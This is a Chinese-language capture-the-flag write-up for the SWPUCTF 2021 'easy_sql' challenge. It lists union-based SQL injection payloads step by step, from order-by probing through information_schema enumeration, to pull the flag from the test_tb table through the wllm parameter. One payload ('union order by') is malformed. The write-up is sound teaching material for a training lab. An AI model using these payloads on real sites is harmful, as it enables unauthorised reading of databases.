您好,欢迎来到叨叨游戏网。
搜索
您的当前位置:首页[SWPUCTF 2021 新生赛]easy_sql的WriteUp

[SWPUCTF 2021 新生赛]easy_sql的WriteUp

来源:叨叨游戏网

题目

解题思路

SQL注入流程:

1. 是否存在注入并且判断注入类型
2. 判断字段数 ' order by 数字 -- '
3. 确定回显点 -1 ' union select 1,2 -- '
4. 查询数据库信息 @@version @@datadir
5. 查询用户名,数据库名 user() database()
6. 查询表名 -1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- '
7. 查询列名 -1 ' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='表名' -- '
8. 查询flag -1 ' union select 1,2, group_concat(flag所在的列名) from 表名

WriteUp

1. 检查源码,看是否有参数

一道简单的sql注入题,首先查看源代码,看看参数是啥

用wllm参数试一下

/?wllm=1

2. 判断字段数

/?wllm=-1 ' union order by 3 -- '

3可以,4不行,说明字段数为3

3. 查看回显点

/?wllm=-1 ' union select 1,2,3 -- '

4. 数据库信息

/?wllm=-1 ' union select 1, 2, @@version -- '

5. 查询库名和用户名

/?wllm=-1 ' union select 1, 2, database() -- '

/?wllm=-1 ' union select 1, 2, user() -- '


显示root@localhost,说明该用户为root超级管理员用户帐户,可以查看数据库信息

6. 爆表

/?wllm=-1 ' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '


说明有两个表,test_tb和users

7. 爆列

先试试test_tb表

/?wllm=-1 ' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '


可以看到有列名为id,flag,说明flag极大可能在这个表中

8. 查flag

/?wllm=-1 ' union select 1,2, group_concat(flag) from test_tb -- '


找到flag啦!

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- gamedaodao.net 版权所有 湘ICP备2024080961号-6

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务